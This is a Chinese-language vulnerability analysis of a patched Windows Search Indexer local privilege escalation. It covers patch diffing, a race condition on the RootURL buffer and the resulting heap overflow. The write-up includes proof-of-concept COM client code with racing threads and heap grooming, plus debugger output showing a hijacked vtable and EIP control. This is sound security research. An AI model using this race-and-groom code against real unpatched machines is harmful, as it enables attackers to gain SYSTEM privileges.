Windows Search Indexer 本地提權的示例分析

這期內容當中小編將會給大家帶來有關Windows Search Indexer 本地提權的示例分析，文章內容豐富且以專業的角度為大家分析和敘述，閱讀完這篇文章希望大家可以有所收獲。

Windows Search Indexer 介紹

Windows Search Indexer是一項Windows服務，用于為Windows  Search處理文件索引，這為Windows內置的文件搜索引擎提供了動力，該引擎為從“開始”菜單搜索框到Windows資源管理器甚至是“庫”函數的所有函數提供支持。

Search Indexer有助于從GUI的角度通過GUI和索引選項將用戶定向到服務界面，如下所示。

索引過程中的所有數據庫和臨時數據都存儲為文件并進行管理。通常，在Windows Service中，整個過程都是使用NT AUTHORITY  SYSTEM特權執行的。如果由于修改文件路徑而碰巧存在邏輯漏洞，則可能會觸發特權提升。(例如Symlink攻擊)

鑒于最近在Windows Service中發生的大多數漏洞都是由于邏輯漏洞而導致的LPE漏洞，因此我們假定Search  Indexer可能有類似的漏洞，但是，我們的分析結果并非如此，隨后將介紹更多詳細信息。

補丁對比

分析環境是Windows7 x86，因為它具有較小的更新文件，并且易于識別差異，我們下載了該模塊的兩個補丁版本。

可以從Microsoft更新目錄下載它們：

•  patch程序版本(1月程序)：KB4534314 2

•  補丁程序版本(2月補丁)：KB4537813 3

我們從patch過的二進制文件的BinDiff開始(在這種情況下，只有一個：searchindexer.exe)

大多數補丁都是在CSearchCrawlScopeManager和CSearchRoot類中完成的。前者在1月進行了patch，而后者在下個月進行了patch。這兩個類都包含相同的更改，因此我們專注于patch的CSearchRoot。

下圖顯示添加了原始代碼，該代碼使用Lock來安全地訪問共享資源。我們推斷，訪問共享資源會導致競爭條件漏洞的發生，因為該補丁由putter,  getter函數組成。

界面互動

我們參考了MSDN，了解如何使用這些類，并發現它們都與“爬網管理器”相關的，我們可以檢查此類的方法信息。

MSDN說4：

爬網范圍管理器(CSM)是一組API，可添加，刪除和枚舉Windows搜索索引器的搜索root和范圍規則。當希望索引器開始對新容器進行爬網時，可以使用CSM設置搜索root目錄，并為搜索root目錄內的路徑設置作用域規則。

CSM界面如下：

•  IEnumSearchRoots

•  IEnumSearchScopeRules

•  ISearchCrawlScopeManager

•  ISearchCrawlScopeManager2

•  ISearchRoot

•  ISearchScopeRule

•  ISearchItem

例如，添加，刪除和枚舉搜索root和范圍規則可以通過以下方式編寫：

ISearchCrawlScopeManager告知搜索引擎要爬網和/或監視的容器，以及要包含或排除的容器下的項目。若要添加新的搜索，需要實例化ISearchRoot對象，設置root屬性，然后調用ISearchCrawlScopeManager  :: AddRoot并將其傳遞給ISearchRoot對象的指針。

// Add RootInfo & Scope Rule pISearchRoot->put_RootURL(L"file:///C:\ "); pSearchCrawlScopeManager->AddRoot(pISearchRoot); pSearchCrawlScopeManager->AddDefaultScopeRule(L"file:///C:\Windows", fInclude, FF_INDEXCOMPLEXURLS);  // Set Registry key pSearchCrawlScopeManager->SaveAll();

當我們不再希望對該URL編制索引時，我們還可以使用ISearchCrawlScopeManager從爬網范圍中刪除root。刪除root還會刪除該URL的所有范圍規則。我們可以卸載應用程序，刪除所有數據，然后從爬網范圍中刪除搜索root，并且“爬網范圍管理器”將刪除root以及與該root相關聯的所有范圍規則。

// Remove RootInfo & Scope Rule ISearchCrawlScopeManager->RemoveRoot(pszURL);  // Set Registry key ISearchCrawlScopeManager->SaveAll();

CSM使用IEnumSearchRoots枚舉搜索root。出于多種目的，我們可以使用此類枚舉搜索root;例如，我們可能想要在用戶界面中顯示整個爬網范圍，或者發現爬網范圍中是否已經有特定的root目錄或root目錄的子級。

// Display RootInfo  PWSTR pszUrl = NULL;  pSearchRoot->get_RootURL(&pszUrl);  wcout << L"\t" << pszUrl;    // Display Scope Rule  IEnumSearchScopeRules *pScopeRules;  pSearchCrawlScopeManager->EnumerateScopeRules(&pScopeRules);    ISearchScopeRule *pSearchScopeRule;  pScopeRules->Next(1, &pSearchScopeRule, NULL))    pSearchScopeRule->get_PatternOrURL(&pszUrl);  wcout << L"\t" << pszUrl;

我們認為在處理URL的過程中會出現漏洞，因此，我們開始分析根本原因。

漏洞分析

我們針對以下函數進行了二進制分析：

•  ISearchRoot :: put_RootURL

•  ISearchRoot :: get_RootURL

在分析ISearchRoot :: put_RootURL和ISearchRoot ::  get_RootURL時，我們發現引用了對象的共享變量(CSearchRoot + 0x14)。

put_RootURL函數將用戶控制的數據寫入CSearchRoot + 0x14的內存中。get_RootURL函數讀取位于CSearchRoot +  0x14內存中的數據，該漏洞似乎是由與補丁程序有關的共享變量引起的。

因此，我們終于到了漏洞開始的地方，該漏洞在發生以下情況時可能會觸發：

1. 首次提取：用作內存分配大小(第9行)

2. 第二次獲取：用作內存副本大小(第13行)

如果第一個和第二個的大小不同，則可能會發生堆溢出，尤其是在第二個提取的大小較大時。我們認為，在發生內存復制之前，我們通過競爭條件充分更改了pszURL的大小。

崩潰現場

通過OleView 5，我們可以看到Windows Search Manager提供的界面，而且我們需要跟據接口的方法來攻擊漏洞函數。

我們可以通過MSDN 6提供的基于COM的命令行源代碼輕松地對其進行測試，并編寫了攻擊存在漏洞的函數的COM客戶端代碼，如下所示：

int wmain(int argc, wchar_t *argv[]) {     // Initialize COM library     CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);      // Class instantiate     ISearchRoot *pISearchRoot;     CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pISearchRoot));      // Vulnerable functions hit     pISearchRoot->put_RootURL(L"Shared RootURL");     PWSTR pszUrl = NULL;     HRESULT hr = pSearchRoot->get_RootURL(&pszUrl);     wcout << L"\t" << pszUrl;     CoTaskMemFree(pszUrl);      // Free COM resource, End     pISearchRoot->Release();     CoUninitialize(); }

漏洞觸發非常簡單。我們創建了兩個線程：一個線程將不同長度的數據寫入共享緩沖區，另一個線程同時從共享緩沖區讀取數據。

DWORD __stdcall thread_putter(LPVOID param) {  ISearchManager *pSearchManager = (ISearchManager*)param;  while (1) {   pSearchManager->put_RootURL(L"AA");   pSearchManager->put_RootURL(L"AAAAAAAAAA");  }  return 0; } DWORD __stdcall thread_getter(LPVOID param) {  ISearchRoot *pISearchRoot = (ISearchRoot*)param;  PWSTR get_pszUrl;  while (1) {   pISearchRoot->get_RootURL(&get_pszUrl);  }  return 0; }

崩潰了!

毫無疑問，在StringCchCopyW函數復制RootURL數據之前，競爭條件已經成功，從而導致堆溢出。

劫持EIP

為了控制EIP，我們應該為發生漏洞的Sever堆創建一個對象。

我們編寫了如下的客戶端代碼，以跟蹤堆狀態。

int wmain(int argc, wchar_t *argv[]) {     CoInitializeEx(NULL, COINIT_MULTITHREADED | COINIT_DISABLE_OLE1DDE);     ISearchRoot *pISearchRoot[20];     for (int i = 0; i < 20; i++) {         CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pISearchRoot[i]));     }     pISearchRoot[3]->Release();     pISearchRoot[5]->Release();     pISearchRoot[7]->Release();     pISearchRoot[9]->Release();     pISearchRoot[11]->Release();           CreateThread(NULL, 0, thread_putter, (LPVOID)pISearchRoot[13], 0, NULL);     CreateThread(NULL, 0, thread_getter, (LPVOID)pISearchRoot[13], 0, NULL);     Sleep(500);          CoUninitialize();     return 0; }

我們發現，如果客戶端不釋放pISearchRoot對象，則IRpcStubBuffer對象將保留在服務器堆上。而且我們還看到IRpcStubBuffer對象保持在發生漏洞的堆的位置附近。

0:010> !heap -p -all   ...   03d58f10 0005 0005  [00]   03d58f18    0001a - (busy)     <-- CoTaskMalloc return    mssprxy!_idxpi_IID_Lookup  (mssprxy+0x75)   03d58f38 0005 0005  [00]   03d58f40    00020 - (free)   03d58f60 0005 0005  [00]   03d58f68    0001c - (busy)     <-- IRpcStubBuffer Obj     ? mssprxy!_ISearchRootStubVtbl+10   03d58f88 0005 0005  [00]   03d58f90    0001c - (busy)     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj   03d58fb0 0005 0005  [00]   03d58fb8    00020 - (busy)   03d58fd8 0005 0005  [00]   03d58fe0    0001c - (busy)     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj   03d59000 0005 0005  [00]   03d59008    0001c - (busy)     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj   03d59028 0005 0005  [00]   03d59030    00020 - (busy)   03d59050 0005 0005  [00]   03d59058    00020 - (busy)   03d59078 0005 0005  [00]   03d59080    00020 - (free)   03d590a0 0005 0005  [00]   03d590a8    00020 - (free)   03d590c8 0005 0005  [00]   03d590d0    0001c - (busy)     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj

在COM中，所有接口都有自己的接口存根空間。存根是用于在RPC通信期間支持遠程方法調用的較小內存空間，IRpcStubBuffer是此類接口存root的主要接口。在此過程中，支持pISearchRoot的接口存root的IRpcStubBuffer仍保留在服務器的堆上。

IRpcStubBuffer的vtfunction如下：

0:003> dds poi(03d58f18) l10   71215bc8  7121707e mssprxy!CStdStubBuffer_QueryInterface   71215bcc  71217073 mssprxy!CStdStubBuffer_AddRef   71215bd0  71216840 mssprxy!CStdStubBuffer_Release   71215bd4  71217926 mssprxy!CStdStubBuffer_Connect   71215bd8  71216866 mssprxy!CStdStubBuffer_Disconnect <-- client call : CoUninitialize();   71215bdc  7121687c mssprxy!CStdStubBuffer_Invoke   71215be0  7121791b mssprxy!CStdStubBuffer_IsIIDSupported   71215be4  71217910 mssprxy!CStdStubBuffer_CountRefs   71215be8  71217905 mssprxy!CStdStubBuffer_DebugServerQueryInterface   71215bec  712178fa mssprxy!CStdStubBuffer_DebugServerRelease

當客戶端的COM未初始化時，IRpcStubBuffer ::  Disconnect斷開對象指針的所有連接。因此，如果客戶端調用CoUninitialize函數，則會在服務器上調用CStdStubBuffer_Disconnect函數。這意味著用戶可以構造偽造的vtable并調用該函數。

但是，我們并不總是看到IRpcStubBuffer分配在同一位置堆上。因此，需要多次嘗試來構造堆布局，經過幾次嘗試后，IRpcStubBuffer對象被如下可控值(0x45454545)覆蓋。

最后，我們可以證明可以間接調用內存中的函數!

分析結論

Windows Service中最近發生的大多數LPE漏洞都是邏輯漏洞。通過這種方式，對Windows Search  Indexer的內存損壞漏洞進行分析非常有趣。因此，此后的Windows Service中很可能會出現這種內存損壞漏洞。

我們希望該分析將對其他漏洞研究人員有所幫助，并可以用于進一步的研究。

上述就是小編為大家分享的Windows Search Indexer 本地提權的示例分析了，如果剛好有類似的疑惑，不妨參照上述分析進行理解。如果想知道更多相關知識，歡迎關注億速云行業資訊頻道。